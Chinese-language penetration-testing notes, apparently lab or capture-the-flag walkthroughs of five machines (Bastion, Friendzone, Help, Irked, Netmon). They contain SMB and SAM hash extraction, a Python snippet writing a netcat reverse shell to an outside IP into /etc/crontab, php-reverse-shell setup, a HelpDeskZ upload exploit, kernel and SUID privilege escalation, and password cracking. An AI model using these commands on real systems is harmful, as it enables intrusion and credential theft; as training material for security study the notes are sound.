# 目录 [TOC] # **一.** Bastion | 问题 | 解决方案 | | ------------------------------------------------------------ | ------------------------------------------------------------ | | Smb服务器设有guest用户可访问的文件夹,文件夹内有系统盘完整备份文件,系统盘文件中存在SAM文件和SYSTEM文件,一旦被获取到用户名和密码的Hash | 1、设置文件夹权限,不允许guest用户访问2、关闭guest用户3、取消对备份文件的共享或转移备份文件 | | 用户密码过短,存在Hash猜测破解风险 | 使用符合安全规则的密码 | | SSH允许所有用户连接 | 限制SSH连接用户,创建用户白名单 | | mRemoteNG 1.7.10运维工具存在漏洞,保存加密的密码可直接通过echo "password %password%"打印出password变量 | 1、更新工具2、使用密钥来进行连接3、不保存密码 | ## 操作方法 ```shell smbclient -N -L //10.10.10.134 #列出SMB信息 smbclient -N //10.10.10.134/bbad #连接SMB get #下载文件 put #上传文件 samdump3 SYSTEM SAM #获取系统文件下windows密码哈希值 #mRmoteNG工具在1.7.10下,使用这样的操作就会获取密码 Filename:cmd Arguments:/k echo "password%password%" ##网页工具## https://hashes.com/zh/decrypt/hash #哈希值猜测 ``` ## 总结 ### 渗透方面 信息收集阶段通过对主机的扫描确认可能存在的突破点,找到可能进行连接或访问的服务,通过进一步的收集,查找可利用信息。 ### 安全方面 服务器备份文件也需要存放在安全的位置保护。在开放访客用户的情况下,要确保访客用户权限有没有越界,密码应遵守密码安全准则,否则容易被暴力破解或被猜测,在使用ssh服务的时候尽可能的控制可通过ssh连接用户的范围,不必要的用户就需要禁止。运维工具要使用透彻,防止出现因运维工具使用不当导致的密码泄露。 # **二.** Friendzone ## 渗透思路 文件包含可以实现shell反弹 通过高权限进程提升权限,例下,通过高权限读取并执行的一些文件,我们通过修改改文件用过root执行,即可完成高权限进程执行。 ```python #一个高权限文件中导入了os并执行 import os /user/lib/python2.7/os.py #替换该文件为: shell = ''' * * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32 4444 >/tmp/f ''' f = open('/etc/crontab', 'a')#crontab自动执行文件 f.write(shell) f.close() ``` ## 操作方法 ```shell dig axfr friendzone.red @10.10.10.123 #通过根域名搜索到的域名信息 vim /etc/hosts #linux下的host文件位置 SwitchHost #windows下host管理工具 enum4linux 10.10.10.123 #嗅探SAMBA服务 smbclient -N \\\\10.10.10.123\general #登入SMABA服务 get #下载文件 put #上传文件 gobuster dir -w directory-list-2.3-medium.txt -u url -k -t 50 #扫描目录 dir #指定为web扫描 -w #字典文件 -u #url地址 -k #HTTPS协议 -t #线程 #php-reverse-shell工具 wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php #php反弹shell #修改文件如下 $VERSION = "1.0"; $ip = '127.0.0.1'; // 返回地址 $port = 12345; // 返回端口 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; #监听反弹方式 rlwrap nc -lvp 12345 #用python开启shell Shell开启pty python -c "import pty; pty.spawn('/bin/bash')" #信息收集工具 #查看进程 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s ./pspy64s #运行 #查看各种详细信息 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh ./LinEnum.sh #运行 ``` 一个反弹的python文件 ```python shell = ''' * * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32 4444 >/tmp/f ''' f = open('/etc/crontab', 'a')#crontab自动执行文件 f.write(shell) f.close() ``` # 三、help ## 渗透思路 深入挖掘HTTP服务器的目录,可能隐藏目录当中有其他可能存在的其他第三方应用,这些目录中可能存在利用 利用漏洞时需要注意我们自己去了解漏洞细节 可以根据内核漏洞进行提权 ## 操作方法 ```shell #**helpdeskz文件上传漏洞** #根目录下UPGRADING.txt文件来查看版本号 searchsploit poc名 #搜索一些poc #poc下载 wget https://raw.githubusercontent.com/sawinskii/HelpDeskZ-1.0.2-File-Uplaod/master/helpdeskz.py #原理是helpdeskz未登入情况下,可上传文件,文件名为:服务器时间—上传名利用脚本来跑这3分钟的时间格式。不断访问/support/下的文件直到成功,若文件为反弹shell就可以通过nc来进行连接 #哈希值猜测 john 文件名 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 umame -a #查看内核 searchsploit 4.4.0-166 #搜索内核提权漏洞 scp 111.c help@10.10.10.123:/tmp #上传111.c文件到10.10.10.123用户名为help gcc 111.c -o 1111 #编译111.c文件为1111 whoami #查看当前用户 ``` # 四、Irked ## 渗透思路 ircdf在3.2.8.1版本有backdoor,使用msf的poc,就可以快速获取user权限的shell 图片有隐藏压缩包,可用工具解压其中的内容,隐藏文件中所蕴含可能存在大量有用信息 在user权限下,发现目前可执行的程序拥有者为root,使用ltracelinux命令执行过程发现切入点:当程序执行时会先执行/tmp/listusers程序,可通过替换/tmp/listusers为反弹程序或为/bin/sh,这样的方法来提升为root权限 ## 操作方法 下载工具 ```shell apt-get install steghide #图片信息解密工具 apr-get install ltrace #linux程序运行诊断软件 ``` steghide图片信息解密工具 ```shell steghide extract -p 密码 -sF 图片路径 #解压图片内容 ``` ltracelinux程序运行诊断软件 ```shell ltrace ./程序 #查看程序在运行时会做什么 ``` 其他命令操作 ```shell find / -type f -perm -4000 2>/dev/null #搜索目前用户可以执行的一些命令 file 文件名 #查看文件信息 ssh root@10.10.10.117 #通过ssh使用root用户名连接10.10.10.117 scp 用户名@IP地址:绝地路径 #下载远程文件 cp /bin/sh /tmp/listusers #/bin/sh为命令行程序,可通过使用root权限来执行就可获取root权限下的shell ``` # 五、Netmon ## 渗透思路 匿名访问权限会有很多有用信息 社工密码猜解需要细心 漏洞利用中遇到的问题要细心发现poc问题,根据情况修改poc ## 操作方法 ```shell #登入ftp ftp 10.10.10.152 #登入 anonymous #匿名 get 文件名 #下载 ProgramData\Paessler #windows软件日志位置 cat 文件名 | more #文件有点多用这个方法 set ff #查看文件系统 set ff=unix #修改文件系统 ```